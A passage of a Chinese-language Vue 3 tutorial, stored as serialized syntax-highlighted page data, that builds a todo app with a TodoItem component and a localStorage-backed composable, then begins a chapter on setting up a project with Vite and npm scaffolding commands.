t.id)\"",[331,33455,33456],{"class":337},">删除\u003C\u002F",[331,33458,824],{"class":497},[331,33460,505],{"class":337},[331,33462,33464,33466,33468],{"class":333,"line":33463},39,[331,33465,26679],{"class":337},[331,33467,1662],{"class":497},[331,33469,505],{"class":337},[331,33471,33473,33475,33477],{"class":333,"line":33472},40,[331,33474,26688],{"class":337},[331,33476,1773],{"class":497},[331,33478,505],{"class":337},[331,33480,33482],{"class":333,"line":33481},41,[331,33483,998],{"emptyLinePlaceholder":997},[331,33485,33487,33489,33491],{"class":333,"line":33486},42,[331,33488,6036],{"class":337},[331,33490,26436],{"class":497},[331,33492,505],{"class":337},[331,33494,33496],{"class":333,"line":33495},43,[331,33497,33498],{"class":337},"      剩 {{ left }} 项\n",[331,33500,33502,33504,33507,33509,33511,33514],{"class":333,"line":33501},44,[331,33503,26621],{"class":337},[331,33505,33506],{"class":497},"select",[331,33508,19736],{"class":501},[331,33510,518],{"class":337},[331,33512,33513],{"class":365},"\"filter\"",[331,33515,505],{"class":337},[331,33517,33519,33521,33524,33527,33529,33532,33535,33537],{"class":333,"line":33518},45,[331,33520,26665],{"class":337},[331,33522,33523],{"class":497},"option",[331,33525,33526],{"class":501}," value",[331,33528,518],{"class":337},[331,33530,33531],{"class":365},"\"all\"",[331,33533,33534],{"class":337},">全部\u003C\u002F",[331,33536,33523],{"class":497},[331,33538,505],{"class":337},[331,33540,33542,33544,33546,33548,33550,33553,33556,33558],{"class":333,"line":33541},46,[331,33543,26665],{"class":337},[331,33545,33523],{"class":497},[331,33547,33526],{"class":501},[331,33549,518],{"class":337},[331,33551,33552],{"class":365},"\"active\"",[331,33554,33555],{"class":337},">未完成\u003C\u002F",[331,33557,33523],{"class":497},[331,33559,505],{"class":337},[331,33561,33563,33565,33567,33569,33571,33574,33577,33579],{"class":333,"line":33562},47,[331,33564,26665],{"class":337},[331,33566,33523],{"class":497},[331,33568,33526],{"class":501},[331,33570,518],{"class":337},[331,33572,33573],{"class":365},"\"done\"",[331,33575,33576],{"class":337},">已完成\u003C\u002F",[331,33578,33523],{"class":497},[331,33580,505],{"class":337},[331,33582,33584,33586,33588],{"class":333,"line":33583},48,[331,33585,26679],{"class":337},[331,33587,33506],{"class":497},[331,33589,505],{"class":337},[331,33591,33593,33595,33597],{"class":333,"line":33592},49,[331,33594,26688],{"class":337},[331,33596,26436],{"class":497},[331,33598,505],{"class":337},[331,33600,33602,33604,33606],{"class":333,"line":33601},50,[331,33603,778],{"class":337},[331,33605,26371],{"class":497},[331,33607,505],{"class":337},[331,33609,33611,33613,33615],{"class":333,"line":33610},51,[331,33612,788],{"class":337},[331,33614,6012],{"class":497},[331,33616,505],{"class":337},[11,33618,33619,33620,33622,33623,33625,33626,33628,33629,272,33631,272,33633,272,33635,33637,33638],{},"这一段里已经出现了：",[22,33621,4778],{}," + 数组、",[22,33624,20316],{}," 在 checkbox 上直接改行内字段、",[22,33627,4781],{}," 做筛选与统计、",[22,33630,23466],{},[22,33632,26089],{},[22,33634,27979],{},[22,33636,5460],{}," 做持久化。",[17,33639,33640],{},"入门阶段能写出这个版本，就说明语法都打通了。",[53,33642,33644],{"id":33643},"第三步拆组件该拆的地方只有一处","第三步：拆组件（该拆的地方只有一处）",[11,33646,33647,33648,33651],{},"判断标准：某块有自己的状态或行为、且被用了两次以上，就值得独立成组件。这里 ",[22,33649,33650],{},"TodoItem"," 有「编辑态」这个本地状态，最合适被拆出去。",[308,33653,33655],{"className":5996,"code":33654,"language":5998,"meta":314,"style":314},"\u003C!-- components\u002FTodoItem.vue -->\n\u003Cscript setup>\nimport { ref } from 'vue'\nconst props = defineProps({ todo: { type: Object, required: true } })\nconst emit = defineEmits(['toggle', 'remove', 'rename'])\n\nconst editing = ref(false)\nconst text = ref(props.todo.text)\n\nfunction save() {\n  const t = text.value.trim()\n  if (t && t !== props.todo.text) emit('rename', t)\n  editing.value = false\n}\n\u003C\u002Fscript>\n\n\u003Ctemplate>\n  \u003Cli>\n    \u003Ctemplate v-if=\"!editing\">\n      \u003Clabel>\u003Cinput type=\"checkbox\" :checked=\"props.todo.done\" @change=\"emit('toggle')\">\u003Cspan>{{ props.todo.text }}\u003C\u002Fspan>\u003C\u002Flabel>\n      \u003Cbutton type=\"button\" @click=\"editing = true\">编辑\u003C\u002Fbutton>\n      \u003Cbutton type=\"button\" @click=\"emit('remove')\">删除\u003C\u002Fbutton>\n    \u003C\u002Ftemplate>\n    \u003Ctemplate v-else>\n      \u003Cinput v-model=\"text\" @keyup.enter=\"save\" @keyup.esc=\"editing = false\" autofocus>\n      \u003Cbutton type=\"button\" @click=\"save\">保存\u003C\u002Fbutton>\n    \u003C\u002Ftemplate>\n  \u003C\u002Fli>\n\u003C\u002Ftemplate>\n",[22,33656,33657,33662,33672,33682,33699,33725,33729,33746,33759,33763,33772,33788,33814,33823,33827,33835,33839,33847,33855,33876,33923,33949,33974,33982,33992,34023,34048,34056,34064],{"__ignoreMap":314},[331,33658,33659],{"class":333,"line":334},[331,33660,33661],{"class":1003},"\u003C!-- components\u002FTodoItem.vue -->\n",[331,33663,33664,33666,33668,33670],{"class":333,"line":341},[331,33665,510],{"class":337},[331,33667,891],{"class":497},[331,33669,6299],{"class":501},[331,33671,505],{"class":337},[331,33673,33674,33676,33678,33680],{"class":333,"line":357},[331,33675,4648],{"class":616},[331,33677,17859],{"class":337},[331,33679,13735],{"class":616},[331,33681,17864],{"class":365},[331,33683,33684,33686,33688,33690,33692,33695,33697],{"class":333,"line":371},[331,33685,951],{"class":616},[331,33687,7243],{"class":344},[331,33689,957],{"class":616},[331,33691,7248],{"class":501},[331,33693,33694],{"class":337},"({ todo: { type: Object, required: ",[331,33696,1131],{"class":344},[331,33698,7256],{"class":337},[331,33700,33701,33703,33705,33707,33709,33711,33714,33716,33719,33721,33723],{"class":333,"line":384},[331,33702,951],{"class":616},[331,33704,25544],{"class":344},[331,33706,957],{"class":616},[331,33708,25549],{"class":501},[331,33710,9735],{"class":337},[331,33712,33713],{"class":365},"'toggle'",[331,33715,409],{"class":337},[331,33717,33718],{"class":365},"'remove'",[331,33720,409],{"class":337},[331,33722,25559],{"class":365},[331,33724,9741],{"class":337},[331,33726,33727],{"class":333,"line":397},[331,33728,998],{"emptyLinePlaceholder":997},[331,33730,33731,33733,33736,33738,33740,33742,33744],{"class":333,"line":418},[331,33732,951],{"class":616},[331,33734,33735],{"class":344}," editing",[331,33737,957],{"class":616},[331,33739,13780],{"class":501},[331,33741,966],{"class":337},[331,33743,3193],{"class":344},[331,33745,972],{"class":337},[331,33747,33748,33750,33752,33754,33756],{"class":333,"line":427},[331,33749,951],{"class":616},[331,33751,33028],{"class":344},[331,33753,957],{"class":616},[331,33755,13780],{"class":501},[331,33757,33758],{"class":337},"(props.todo.text)\n",[331,33760,33761],{"class":333,"line":439},[331,33762,998],{"emptyLinePlaceholder":997},[331,33764,33765,33767,33770],{"class":333,"line":450},[331,33766,3047],{"class":616},[331,33768,33769],{"class":501}," save",[331,33771,1072],{"class":337},[331,33773,33774,33776,33779,33781,33784,33786],{"class":333,"line":456},[331,33775,1496],{"class":616},[331,33777,33778],{"class":344}," t",[331,33780,957],{"class":616},[331,33782,33783],{"class":337}," text.value.",[331,33785,23165],{"class":501},[331,33787,1540],{"class":337},[331,33789,33790,33792,33795,33797,33800,33802,33805,33807,33809,33811],{"class":333,"line":775},[331,33791,1526],{"class":616},[331,33793,33794],{"class":337}," (t ",[331,33796,14406],{"class":616},[331,33798,33799],{"class":337}," t ",[331,33801,3076],{"class":616},[331,33803,33804],{"class":337}," props.todo.text) ",[331,33806,22133],{"class":501},[331,33808,966],{"class":337},[331,33810,25559],{"class":365},[331,33812,33813],{"class":337},", t)\n",[331,33815,33816,33819,33821],{"class":333,"line":785},[331,33817,33818],{"class":337},"  editing.value ",[331,33820,518],{"class":616},[331,33822,1375],{"class":344},[331,33824,33825],{"class":333,"line":795},[331,33826,459],{"class":337},[331,33828,33829,33831,33833],{"class":333,"line":805},[331,33830,788],{"class":337},[331,33832,891],{"class":497},[331,33834,505],{"class":337},[331,33836,33837],{"class":333,"line":819},[331,33838,998],{"emptyLinePlaceholder":997},[331,33840,33841,33843,33845],{"class":333,"line":850},[331,33842,510],{"class":337},[331,33844,6012],{"class":497},[331,33846,505],{"class":337},[331,33848,33849,33851,33853],{"class":333,"line":886},[331,33850,537],{"class":337},[331,33852,1662],{"class":497},[331,33854,505],{"class":337},[331,33856,33857,33859,33861,33863,33865,33867,33869,33872,33874],{"class":333,"line":909},[331,33858,6036],{"class":337},[331,33860,6012],{"class":497},[331,33862,8036],{"class":616},[331,33864,518],{"class":337},[331,33866,6153],{"class":365},[331,33868,1150],{"class":616},[331,33870,33871],{"class":337},"editing",[331,33873,6153],{"class":365},[331,33875,505],{"class":337},[331,33877,33878,33880,33882,33884,33886,33888,33890,33892,33895,33897,33900,33903,33905,33908,33910,33912,33915,33917,33919,33921],{"class":333,"line":918},[331,33879,26621],{"class":337},[331,33881,23394],{"class":497},[331,33883,7082],{"class":337},[331,33885,19733],{"class":497},[331,33887,835],{"class":501},[331,33889,518],{"class":337},[331,33891,23385],{"class":365},[331,33893,33894],{"class":501}," :checked",[331,33896,518],{"class":337},[331,33898,33899],{"class":365},"\"props.todo.done\"",[331,33901,33902],{"class":501}," @change",[331,33904,518],{"class":337},[331,33906,33907],{"class":365},"\"emit('toggle')\"",[331,33909,7082],{"class":337},[331,33911,331],{"class":497},[331,33913,33914],{"class":337},">{{ props.todo.text }}\u003C\u002F",[331,33916,331],{"class":497},[331,33918,902],{"class":337},[331,33920,23394],{"class":497},[331,33922,505],{"class":337},[331,33924,33925,33927,33929,33931,33933,33935,33937,33939,33942,33945,33947],{"class":333,"line":1232},[331,33926,26621],{"class":337},[331,33928,824],{"class":497},[331,33930,835],{"class":501},[331,33932,518],{"class":337},[331,33934,840],{"class":365},[331,33936,7348],{"class":501},[331,33938,518],{"class":337},[331,33940,33941],{"class":365},"\"editing = true\"",[331,33943,33944],{"class":337},">编辑\u003C\u002F",[331,33946,824],{"class":497},[331,33948,505],{"class":337},[331,33950,33951,33953,33955,33957,33959,33961,33963,33965,33968,33970,33972],{"class":333,"line":1253},[331,33952,26621],{"class":337},[331,33954,824],{"class":497},[331,33956,835],{"class":501},[331,33958,518],{"class":337},[331,33960,840],{"class":365},[331,33962,7348],{"class":501},[331,33964,518],{"class":337},[331,33966,33967],{"class":365},"\"emit('remove')\"",[331,33969,33456],{"class":337},[331,33971,824],{"class":497},[331,33973,505],{"class":337},[331,33975,33976,33978,33980],{"class":333,"line":1259},[331,33977,26688],{"class":337},[331,33979,6012],{"class":497},[331,33981,505],{"class":337},[331,33983,33984,33986,33988,33990],{"class":333,"line":1271},[331,33985,6036],{"class":337},[331,33987,6012],{"class":497},[331,33989,8110],{"class":616},[331,33991,505],{"class":337},[331,33993,33994,33996,33998,34000,34002,34004,34006,34008,34011,34013,34015,34018,34021],{"class":333,"line":1277},[331,33995,26621],{"class":337},[331,33997,19733],{"class":497},[331,33999,19736],{"class":501},[331,34001,518],{"class":337},[331,34003,23047],{"class":365},[331,34005,19744],{"class":501},[331,34007,518],{"class":337},[331,34009,34010],{"class":365},"\"save\"",[331,34012,22784],{"class":501},[331,34014,518],{"class":337},[331,34016,34017],{"class":365},"\"editing = false\"",[331,34019,34020],{"class":501}," autofocus",[331,34022,505],{"class":337},[331,34024,34025,34027,34029,34031,34033,34035,34037,34039,34041,34044,34046],{"class":333,"line":1293},[331,34026,26621],{"class":337},[331,34028,824],{"class":497},[331,34030,835],{"class":501},[331,34032,518],{"class":337},[331,34034,840],{"class":365},[331,34036,7348],{"class":501},[331,34038,518],{"class":337},[331,34040,34010],{"class":365},[331,34042,34043],{"class":337},">保存\u003C\u002F",[331,34045,824],{"class":497},[331,34047,505],{"class":337},[331,34049,34050,34052,34054],{"class":333,"line":1302},[331,34051,26688],{"class":337},[331,34053,6012],{"class":497},[331,34055,505],{"class":337},[331,34057,34058,34060,34062],{"class":333,"line":1311},[331,34059,778],{"class":337},[331,34061,1662],{"class":497},[331,34063,505],{"class":337},[331,34065,34066,34068,34070],{"class":333,"line":1323},[331,34067,788],{"class":337},[331,34069,6012],{"class":497},[331,34071,505],{"class":337},[11,34073,34074],{},"父组件把「怎么改数据」收口成三个动作：",[308,34076,34078],{"className":5996,"code":34077,"language":5998,"meta":314,"style":314},"\u003Cscript setup>\nimport TodoItem from '.\u002Fcomponents\u002FTodoItem.vue'\nfunction toggle(id) { const t = storage.value.find(x => x.id === id); t.done = !t.done }\nfunction remove(id) { storage.value = storage.value.filter(x => x.id !== id) }\nfunction rename(id, text) { const t = storage.value.find(x => x.id === id); t.text = text }\n\u003C\u002Fscript>\n\n\u003Ctemplate>\n  \u003Cul>\n    \u003CTodoItem\n      v-for=\"t in visible\" :key=\"t.id\" :todo=\"t\"\n      @toggle=\"toggle(t.id)\" @remove=\"remove(t.id)\" @rename=\"(text) => rename(t.id, text)\"\n    \u002F>\n  \u003C\u002Ful>\n\u003C\u002Ftemplate>\n",[22,34079,34080,34090,34102,34145,34178,34223,34231,34235,34243,34251,34258,34303,34359,34364,34372],{"__ignoreMap":314},[331,34081,34082,34084,34086,34088],{"class":333,"line":334},[331,34083,510],{"class":337},[331,34085,891],{"class":497},[331,34087,6299],{"class":501},[331,34089,505],{"class":337},[331,34091,34092,34094,34097,34099],{"class":333,"line":341},[331,34093,4648],{"class":616},[331,34095,34096],{"class":337}," TodoItem ",[331,34098,13735],{"class":616},[331,34100,34101],{"class":365}," '.\u002Fcomponents\u002FTodoItem.vue'\n",[331,34103,34104,34106,34108,34110,34112,34114,34116,34118,34120,34122,34124,34126,34128,34130,34133,34135,34138,34140,34142],{"class":333,"line":357},[331,34105,3047],{"class":616},[331,34107,28856],{"class":501},[331,34109,966],{"class":337},[331,34111,8521],{"class":2472},[331,34113,31033],{"class":337},[331,34115,951],{"class":616},[331,34117,33778],{"class":344},[331,34119,957],{"class":616},[331,34121,33166],{"class":337},[331,34123,16382],{"class":501},[331,34125,966],{"class":337},[331,34127,21547],{"class":2472},[331,34129,21594],{"class":616},[331,34131,34132],{"class":337}," x.id ",[331,34134,2625],{"class":616},[331,34136,34137],{"class":337}," id); t.done ",[331,34139,518],{"class":616},[331,34141,1165],{"class":616},[331,34143,34144],{"class":337},"t.done }\n",[331,34146,34147,34149,34152,34154,34156,34159,34161,34163,34165,34167,34169,34171,34173,34175],{"class":333,"line":371},[331,34148,3047],{"class":616},[331,34150,34151],{"class":501}," remove",[331,34153,966],{"class":337},[331,34155,8521],{"class":2472},[331,34157,34158],{"class":337},") { storage.value ",[331,34160,518],{"class":616},[331,34162,33166],{"class":337},[331,34164,21587],{"class":501},[331,34166,966],{"class":337},[331,34168,21547],{"class":2472},[331,34170,21594],{"class":616},[331,34172,34132],{"class":337},[331,34174,3076],{"class":616},[331,34176,34177],{"class":337}," id) }\n",[331,34179,34180,34182,34185,34187,34189,34191,34193,34195,34197,34199,34201,34203,34205,34207,34209,34211,34213,34215,34218,34220],{"class":333,"line":384},[331,34181,3047],{"class":616},[331,34183,34184],{"class":501}," rename",[331,34186,966],{"class":337},[331,34188,8521],{"class":2472},[331,34190,409],{"class":337},[331,34192,313],{"class":2472},[331,34194,31033],{"class":337},[331,34196,951],{"class":616},[331,34198,33778],{"class":344},[331,34200,957],{"class":616},[331,34202,33166],{"class":337},[331,34204,16382],{"class":501},[331,34206,966],{"class":337},[331,34208,21547],{"class":2472},[331,34210,21594],{"class":616},[331,34212,34132],{"class":337},[331,34214,2625],{"class":616},[331,34216,34217],{"class":337}," id); t.text ",[331,34219,518],{"class":616},[331,34221,34222],{"class":337}," text }\n",[331,34224,34225,34227,34229],{"class":333,"line":397},[331,34226,788],{"class":337},[331,34228,891],{"class":497},[331,34230,505],{"class":337},[331,34232,34233],{"class":333,"line":418},[331,34234,998],{"emptyLinePlaceholder":997},[331,34236,34237,34239,34241],{"class":333,"line":427},[331,34238,510],{"class":337},[331,34240,6012],{"class":497},[331,34242,505],{"class":337},[331,34244,34245,34247,34249],{"class":333,"line":439},[331,34246,537],{"class":337},[331,34248,1773],{"class":497},[331,34250,505],{"class":337},[331,34252,34253,34255],{"class":333,"line":450},[331,34254,6036],{"class":337},[331,34256,34257],{"class":497},"TodoItem\n",[331,34259,34260,34263,34265,34267,34270,34272,34274,34276,34278,34280,34282,34284,34287,34289,34291,34294,34296,34298,34300],{"class":333,"line":456},[331,34261,34262],{"class":616},"      v-for",[331,34264,518],{"class":337},[331,34266,6153],{"class":365},[331,34268,34269],{"class":337},"t ",[331,34271,27385],{"class":616},[331,34273,33094],{"class":337},[331,34275,6153],{"class":365},[331,34277,2636],{"class":337},[331,34279,8230],{"class":501},[331,34281,518],{"class":337},[331,34283,6153],{"class":365},[331,34285,34286],{"class":337},"t.id",[331,34288,6153],{"class":365},[331,34290,2636],{"class":337},[331,34292,34293],{"class":501},"todo",[331,34295,518],{"class":337},[331,34297,6153],{"class":365},[331,34299,33113],{"class":337},[331,34301,34302],{"class":365},"\"\n",[331,34304,34305,34308,34311,34313,34315,34317,34320,34322,34324,34326,34328,34330,34332,34334,34336,34338,34340,34342,34344,34346,34348,34350,34352,34354,34357],{"class":333,"line":775},[331,34306,34307],{"class":337},"      @",[331,34309,34310],{"class":501},"toggle",[331,34312,518],{"class":337},[331,34314,6153],{"class":365},[331,34316,34310],{"class":501},[331,34318,34319],{"class":337},"(t.id)",[331,34321,6153],{"class":365},[331,34323,25634],{"class":337},[331,34325,1537],{"class":501},[331,34327,518],{"class":337},[331,34329,6153],{"class":365},[331,34331,1537],{"class":501},[331,34333,34319],{"class":337},[331,34335,6153],{"class":365},[331,34337,25634],{"class":337},[331,34339,25657],{"class":501},[331,34341,518],{"class":337},[331,34343,6153],{"class":365},[331,34345,966],{"class":337},[331,34347,313],{"class":2472},[331,34349,3180],{"class":337},[331,34351,1489],{"class":616},[331,34353,34184],{"class":501},[331,34355,34356],{"class":337},"(t.id, text)",[331,34358,34302],{"class":365},[331,34360,34361],{"class":333,"line":785},[331,34362,34363],{"class":337},"    \u002F>\n",[331,34365,34366,34368,34370],{"class":333,"line":795},[331,34367,778],{"class":337},[331,34369,1773],{"class":497},[331,34371,505],{"class":337},[331,34373,34374,34376,34378],{"class":333,"line":805},[331,34375,788],{"class":337},[331,34377,6012],{"class":497},[331,34379,505],{"class":337},[11,34381,34382,34383,34386],{},"注意 ",[22,34384,34385],{},":key=\"t.id\""," 让「编辑中的那一行」在筛选切换时不会被别的行复用（第十一章）。",[53,34388,34390],{"id":34389},"第四步把可复用逻辑抽成组合式函数","第四步：把可复用逻辑抽成组合式函数",[11,34392,34393],{},"持久化 + 初始化那三行，下一个项目还要再写一遍 → 抽走（第十三章的形状）：",[308,34395,34397],{"className":942,"code":34396,"language":944,"meta":314,"style":314},"\u002F\u002F composables\u002FusePersistentList.js\nimport { ref, watch } from 'vue'\n\n\u002F**\n * 一个自动落盘 localStorage 的列表。\n * @param {string} key 存储键名\n * @param {Array} [initial=[]] 读不到数据时的初始值\n * @returns {import('vue').Ref\u003CArray>} 响应式数组\n *\u002F\nexport function usePersistentList(key, initial = []) {\n  let start = initial\n  try {\n    const raw = JSON.parse(localStorage.getItem(key))\n    if (Array.isArray(raw)) start = raw\n  } catch { \u002F* 脏数据：安静回落到初始值 *\u002F }\n  const list = ref(start)\n  watch(list, (v) => {\n    try { localStorage.setItem(key, JSON.stringify(v)) } catch (e) { console.warn('写入失败', e) }\n  }, { deep: true })\n  return list\n}\n",[22,34398,34399,34404,34414,34418,34422,34427,34439,34459,34471,34475,34498,34510,34516,34537,34555,34568,34581,34596,34627,34635,34642],{"__ignoreMap":314},[331,34400,34401],{"class":333,"line":334},[331,34402,34403],{"class":1003},"\u002F\u002F composables\u002FusePersistentList.js\n",[331,34405,34406,34408,34410,34412],{"class":333,"line":341},[331,34407,4648],{"class":616},[331,34409,25416],{"class":337},[331,34411,13735],{"class":616},[331,34413,17864],{"class":365},[331,34415,34416],{"class":333,"line":357},[331,34417,998],{"emptyLinePlaceholder":997},[331,34419,34420],{"class":333,"line":371},[331,34421,1004],{"class":1003},[331,34423,34424],{"class":333,"line":384},[331,34425,34426],{"class":1003}," * 一个自动落盘 localStorage 的列表。\n",[331,34428,34429,34431,34433,34435,34437],{"class":333,"line":397},[331,34430,1024],{"class":1003},[331,34432,2423],{"class":616},[331,34434,29294],{"class":501},[331,34436,29297],{"class":337},[331,34438,29300],{"class":1003},[331,34440,34441,34443,34445,34448,34451,34453,34456],{"class":333,"line":418},[331,34442,1024],{"class":1003},[331,34444,2423],{"class":616},[331,34446,34447],{"class":501}," {Array}",[331,34449,34450],{"class":337}," [initial",[331,34452,518],{"class":616},[331,34454,34455],{"class":337},"[]]",[331,34457,34458],{"class":1003}," 读不到数据时的初始值\n",[331,34460,34461,34463,34465,34468],{"class":333,"line":427},[331,34462,1024],{"class":1003},[331,34464,1027],{"class":616},[331,34466,34467],{"class":501}," {import('vue').Ref\u003CArray>}",[331,34469,34470],{"class":1003}," 响应式数组\n",[331,34472,34473],{"class":333,"line":439},[331,34474,1058],{"class":1003},[331,34476,34477,34479,34481,34484,34486,34488,34490,34493,34495],{"class":333,"line":450},[331,34478,5219],{"class":616},[331,34480,1066],{"class":616},[331,34482,34483],{"class":501}," usePersistentList",[331,34485,966],{"class":337},[331,34487,8230],{"class":2472},[331,34489,409],{"class":337},[331,34491,34492],{"class":2472},"initial",[331,34494,957],{"class":616},[331,34496,34497],{"class":337}," []) {\n",[331,34499,34500,34502,34505,34507],{"class":333,"line":456},[331,34501,29344],{"class":616},[331,34503,34504],{"class":337}," start ",[331,34506,518],{"class":616},[331,34508,34509],{"class":337}," initial\n",[331,34511,34512,34514],{"class":333,"line":775},[331,34513,1097],{"class":616},[331,34515,1100],{"class":337},[331,34517,34518,34520,34522,34524,34526,34528,34530,34532,34534],{"class":333,"line":785},[331,34519,1105],{"class":616},[331,34521,10479],{"class":344},[331,34523,957],{"class":616},[331,34525,21014],{"class":344},[331,34527,1192],{"class":337},[331,34529,21019],{"class":501},[331,34531,29370],{"class":337},[331,34533,29373],{"class":501},[331,34535,34536],{"class":337},"(key))\n",[331,34538,34539,34541,34544,34547,34550,34552],{"class":333,"line":795},[331,34540,1144],{"class":616},[331,34542,34543],{"class":337}," (Array.",[331,34545,34546],{"class":501},"isArray",[331,34548,34549],{"class":337},"(raw)) start ",[331,34551,518],{"class":616},[331,34553,34554],{"class":337}," raw\n",[331,34556,34557,34559,34561,34563,34566],{"class":333,"line":805},[331,34558,1314],{"class":337},[331,34560,1317],{"class":616},[331,34562,605],{"class":337},[331,34564,34565],{"class":1003},"\u002F* 脏数据：安静回落到初始值 *\u002F",[331,34567,9413],{"class":337},[331,34569,34570,34572,34574,34576,34578],{"class":333,"line":819},[331,34571,1496],{"class":616},[331,34573,10160],{"class":344},[331,34575,957],{"class":616},[331,34577,13780],{"class":501},[331,34579,34580],{"class":337},"(start)\n",[331,34582,34583,34585,34588,34590,34592,34594],{"class":333,"line":850},[331,34584,14023],{"class":501},[331,34586,34587],{"class":337},"(list, (",[331,34589,14033],{"class":2472},[331,34591,3180],{"class":337},[331,34593,1489],{"class":616},[331,34595,1100],{"class":337},[331,34597,34598,34600,34602,34604,34606,34608,34610,34612,34614,34616,34618,34620,34622,34625],{"class":333,"line":886},[331,34599,29425],{"class":616},[331,34601,29428],{"class":337},[331,34603,14043],{"class":501},[331,34605,29433],{"class":337},[331,34607,13165],{"class":344},[331,34609,1192],{"class":337},[331,34611,13170],{"class":501},[331,34613,29442],{"class":337},[331,34615,1317],{"class":616},[331,34617,29447],{"class":337},[331,34619,29450],{"class":501},[331,34621,966],{"class":337},[331,34623,34624],{"class":365},"'写入失败'",[331,34626,29458],{"class":337},[331,34628,34629,34631,34633],{"class":333,"line":909},[331,34630,29463],{"class":337},[331,34632,1131],{"class":344},[331,34634,1139],{"class":337},[331,34636,34637,34639],{"class":333,"line":918},[331,34638,1633],{"class":616},[331,34640,34641],{"class":337}," list\n",[331,34643,34644],{"class":333,"line":1232},[331,34645,459],{"class":337},[11,34647,34648,34649,161],{},"组件里就剩一行：",[22,34650,34651],{},"const storage = usePersistentList('vue3-todo')",[53,34653,34654],{"id":34654},"这一路做出来的检查点",[57,34656,34657,34666],{},[60,34658,34659],{},[63,34660,34661,34663],{},[66,34662,4051],{},[66,34664,34665],{},"对应章节",[79,34667,34668,34679,34689,34700,34712,34720,34728,34738],{},[63,34669,34670,34676],{},[84,34671,34672,34673,34675],{},"列表有稳定 ",[22,34674,27979],{},"，切换筛选不串行",[84,34677,34678],{},"第十一章",[63,34680,34681,34686],{},[84,34682,34683,34684],{},"数据源只有一份，统计\u002F筛选是 ",[22,34685,4781],{},[84,34687,34688],{},"第五章",[63,34690,34691,34697],{},[84,34692,34693,34694,34696],{},"子组件不改 props，改动通过 ",[22,34695,22133],{}," 交回父级",[84,34698,34699],{},"第九章",[63,34701,34702,34710],{},[84,34703,34704,34705,34707,34708],{},"表单用 ",[22,34706,23466],{},"，辅助按钮写 ",[22,34709,23636],{},[84,34711,19414],{},[63,34713,34714,34717],{},[84,34715,34716],{},"空输入、空白字符、重复项在服务端和客户端都挡",[84,34718,34719],{},"第二章、第六章",[63,34721,34722,34725],{},[84,34723,34724],{},"卸载时清理定时器\u002F监听",[84,34726,34727],{},"第十二章",[63,34729,34730,34736],{},[84,34731,34732,34733,34735],{},"localStorage 读写包 ",[22,34734,9434],{},"（隐私模式会抛异常）",[84,34737,26298],{},[63,34739,34740,34749],{},[84,34741,34742,34743,6745,34745,34748],{},"每个输入框有 ",[22,34744,23394],{},[22,34746,34747],{},"aria-label","，按钮有可见焦点",[84,34750,34751],{},"第七章",[4748,34753],{"height":14062,"src":34754,"title":34755},"\u002Ftutorials\u002Fvue3\u002Fdemos\u002F17-todo-app.html","示例 17：待办清单完整实现（增删改查 + 筛选 + 本地持久化）",[11,34757,34758,34759,1677,34761,34764,34765,34768,34769,34772,34773,34779],{},"示例 17 的数据落在 ",[22,34760,2771],{},[22,34762,34763],{},"vue3-todo"," 键上。注意：站点里的预览是",[17,34766,34767],{},"沙箱 iframe","（不给 ",[22,34770,34771],{},"allow-same-origin","），存储被浏览器隔离，所以要看「刷新还在」的效果请点示例右上角的「在新标签页打开」；在沙箱里它会自动降级成内存存储并在迷你控制台说明一句——这本身也是一条真实世界的经验：",[17,34774,34775,34776,34778],{},"永远不要假设 ",[22,34777,2771],{}," 可用","（无痕模式、iframe、隐私扩展都会禁用它）。",[48,34781,34783],{"id":34782},"十八工程化把这些语法装进一个可维护的项目","十八、工程化：把这些语法装进一个可维护的项目",[11,34785,34786,34787,34789,34790,34793],{},"前面各章的示例都是「一个 ",[22,34788,14082],{}," 标签」跑起来的。真实项目要的是：",[17,34791,34792],{},"能拆文件、能装依赖、能构建、能部署","。这一章把 Vite + 单文件组件这一层补齐，也是从「会写 Vue」跨到「能用 Vue 做项目」的那一步。",[53,34795,34797],{"id":34796},"建项目两条路","建项目：两条路",[308,34799,34801],{"className":3902,"code":34800,"language":3904,"meta":314,"style":314},"# ① 官方脚手架（交互式，能选 Router \u002F Pinia \u002F TS \u002F ESLint \u002F Vitest）\nnpm create vue@latest my-app\ncd my-app && npm install && npm run dev\n\n# ② 裸 Vite + Vue 插件（想要极简时）\nnpm create vite@latest my-app -- --template vue\n",[22,34802,34803,34808,34820,34842,34846,34851],{"__ignoreMap":314},[331,34804,34805],{"class":333,"line":334},[331,34806,34807],{"class":1003},"# ① 官方脚手架（交互式，能选 Router \u002F Pinia \u002F TS \u002F ESLint \u002F Vitest）\n",[331,34809,34810,34812,34814,34817],{"class":333,"line":341},[331,34811,4989],{"class":501},[331,34813,3919],{"class":365},[331,34815,34816],{"class":365}," vue@latest",[331,34818,34819],{"class":365}," my-app\n",[331,34821,34822,34824,34827,34830,34832,34834,34836,34838,34840],{"class":333,"line":357},[331,34823,3936],{"class":344},[331,34825,34826],{"class":365}," my-app",[331,34828,34829],{"class":337}," && ",[331,34831,4989],{"class":501},[331,34833,13016],{"class":365},[331,34835,34829],{"class":337},[331,34837,4989],{"class":501},[331,34839,5020],{"class":365},[331,34841,3946],{"class":365},[331,34843,34844],{"class":333,"line":371},[331,34845,998],{"emptyLinePlaceholder":997},[331,34847,34848],{"class":333,"line":384},[331,34849,34850],{"class":1003},"# ② 裸 Vite + Vue 插件（想要极简时）\n",[331,34852,34853,34855,34857,34860,34862,34865,34868],{"class":333,"line":397},[331,34854,4989],{"class":501},[331,34856,3919],{"class":365},[331,34858,34859],{"class":365}," vite@latest",[331,34861,34826],{"class":365},[331,34863,34864],{"class":344}," --",[331,34866,34867],{"class":344}," --template",[331,34869,34870],{"class":365}," vue\n",[11,34872,34873,34875,34876,34879,34880,18878,34883,34886,34887,161],{},[22,34874,17679],{}," 生成的骨架里，",[22,34877,34878],{},"src\u002Fmain.js"," 负责 ",[22,34881,34882],{},"createApp(App).use(router).use(createPinia()).mount('#app')",[22,34884,34885],{},"src\u002FApp.vue"," 是根组件——",[17,34888,34889,34890,34893],{},"这就是你在示例里写的 ",[22,34891,34892],{},"createApp(...).mount('#app')","，只是被搬进了文件",[11,34895,34896],{},"目录约定（Vite + Vue 社区常见形状）：",[308,34898,34901],{"className":34899,"code":34900,"language":313},[311],"my-app\u002F\n├── index.html            Vite 的入口 HTML（里面有 \u003Cdiv id=\"app\">）\n├── vite.config.js        构建配置（插件、别名、base、代理）\n├── public\u002F               原样拷贝进产物，不参与打包\n└── src\u002F\n    ├── main.js           应用入口\n    ├── App.vue           根组件\n    ├── assets\u002F           需要被打包的资源（图片、字体、CSS）\n    ├── components\u002F       可复用组件\n    ├── 